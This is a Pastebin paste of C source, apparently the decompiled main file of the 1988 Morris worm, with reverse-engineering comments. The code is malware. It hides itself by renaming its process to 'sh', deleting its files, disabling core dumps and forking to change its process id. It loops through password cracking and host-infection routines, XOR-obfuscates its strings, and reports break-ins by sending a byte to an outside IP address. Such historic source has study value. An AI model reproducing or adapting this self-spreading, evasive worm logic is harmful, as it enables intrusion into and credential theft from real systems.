Advertisement
FlyFar

worm.c

Feb 28th, 2023
712
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.60 KB | Cybersecurity | 0 0
  1. /* dover */
  2.  
  3. #include "worm.h"
  4. #include <stdio.h>
  5. #include <signal.h>
  6. #include <strings.h>
  7. #include <sys/param.h>
  8. #include <sys/types.h>
  9. #include <sys/time.h>
  10. #include <sys/resource.h>
  11. #include <sys/socket.h>
  12. #include <sys/fcntl.h>
  13. #include <sys/stat.h>
  14. #include <netinet/in.h>
  15. #include <net/if.h>
  16. #include <arpa/inet.h>
  17.  
  18. extern errno;
  19. extern char *malloc();
  20.  
  21. int pleasequit;                 /* See worm.h */
  22. int nobjects = 0;
  23. int nextw;
  24. char *null_auth;
  25.  
  26. object objects[69];             /* Don't know how many... */
  27.  
  28. object *getobjectbyname();
  29.  
  30. char *XS();
  31.  
  32. main(argc, argv)        /* 0x20a0 */
  33.      int argc;
  34.      char **argv;
  35. {
  36.     int i, l8, pid_arg, j, cur_arg, unused;
  37.     long key;           /* -28(fp) */
  38.     struct rlimit rl;
  39.    
  40.     l8 = 0;                 /* Unused */
  41.    
  42.     strcpy(argv[0], XS("sh"));          /* <env+52> */
  43.     time(&key);
  44.     srandom(key);
  45.     rl.rlim_cur = 0;
  46.     rl.rlim_max = 0;
  47.     if (setrlimit(RLIMIT_CORE, &rl))
  48.     ;
  49.     signal(SIGPIPE, SIG_IGN);
  50.     pid_arg = 0;
  51.     cur_arg = 1;
  52.     if  (argc > 2 &&
  53.      strcmp(argv[cur_arg], XS("-p")) == 0) { /* env55 == "-p" */
  54.     pid_arg = atoi(argv[2]);
  55.     cur_arg += 2;
  56.     }
  57.     for(i = cur_arg; i < argc; i++) {   /* otherwise <main+286> */
  58.     if (loadobject(argv[i]) == 0)
  59.         exit(1);
  60.     if (pid_arg)
  61.         unlink(argv[i]);
  62.     }
  63.     if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL))
  64.     exit(1);
  65.     if (pid_arg) {
  66.     for(i = 0; i < 32; i++)
  67.         close(i);
  68.     unlink(argv[0]);
  69.     unlink(XS("sh"));           /* <env+63> */
  70.     unlink(XS("/tmp/.dumb"));       /* <env+66>"/tmp/.dumb"
  71.  */
  72.     }
  73.    
  74.     for (i = 1; i < argc; i++)
  75.     for (j = 0; argv[i][j]; j++)
  76.         argv[i][j] = '\0';
  77.     if (if_init() == 0)
  78.     exit(1);
  79.     if (pid_arg) {                  /* main+600 */
  80.     if (pid_arg == getpgrp(getpid()))
  81.         setpgrp(getpid(), getpid());
  82.     kill(pid_arg, 9);
  83.     }
  84.     mainloop();
  85. }
  86.  
  87. static mainloop()               /* 0x2302 */
  88. {
  89.     long key, time1, time0;
  90.    
  91.     time(&key);
  92.     srandom(key);
  93.     time0 = key;
  94.     if (hg() == 0 && hl() == 0)
  95.     ha();
  96.     checkother();
  97.     report_breakin();
  98.     cracksome();
  99.     other_sleep(30);
  100.     while (1) {
  101.     /* Crack some passwords */
  102.     cracksome();
  103.     /* Change my process id */
  104.     if (fork() > 0)
  105.         exit(0);
  106.     if (hg() == 0 && hi() == 0 && ha() == 0)
  107.         hl();
  108.     other_sleep(120);
  109.     time(&time1);
  110.     if (time1 - time0 >= 60*60*12)
  111.         h_clean();
  112.     if (pleasequit && nextw > 0)
  113.         exit(0);
  114.     }
  115. }
  116.  
  117. static trans_cnt;
  118. static char trans_buf[NCARGS];
  119.  
  120. char *XS(str1)          /* 0x23fc */
  121.      char *str1;
  122. {
  123.     int i, len;
  124.     char *newstr;
  125. #ifndef ENCYPHERED_STRINGS
  126.     return str1;
  127. #else  
  128.     len = strlen(str1);
  129.     if (len + 1 > NCARGS - trans_cnt)
  130.     trans_cnt = 0;
  131.     newstr = &trans_buf[trans_cnt];
  132.     trans_cnt += 1 + len;
  133.     for (i = 0; str1[i]; i++)
  134.     newstr[i] = str1[i]^0x81;
  135.     newstr[i] = '\0';
  136.     return newstr;
  137. #endif
  138. }
  139.  
  140. /* This report a sucessful breakin by sending a single byte to "128.32.137.13"
  141.  * (whoever that is). */
  142.  
  143. static report_breakin(arg1, arg2)       /* 0x2494 */
  144. {
  145.     int s;
  146.     struct sockaddr_in sin;
  147.     char msg;
  148.    
  149.     if (7 != random() % 15)
  150.     return;
  151.    
  152.     bzero(&sin, sizeof(sin));
  153.     sin.sin_family = AF_INET;
  154.     sin.sin_port = REPORT_PORT;
  155.     sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13"));
  156.                         /* <env+77>"128.32.137.13" */
  157.    
  158.     s = socket(AF_INET, SOCK_STREAM, 0);
  159.     if (s < 0)
  160.     return;
  161.     if (sendto(s, &msg, 1, 0, &sin, sizeof(sin)))
  162.     ;
  163.     close(s);
  164. }
  165.  
  166. /* End of first file in the original source.
  167.  * (Indicated by extra zero word in text area.) */
  168.  
  169. /*
  170.  * Local variables:
  171.  * compile-command: "make"
  172.  * comment-column: 48
  173.  * End:
  174.  */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement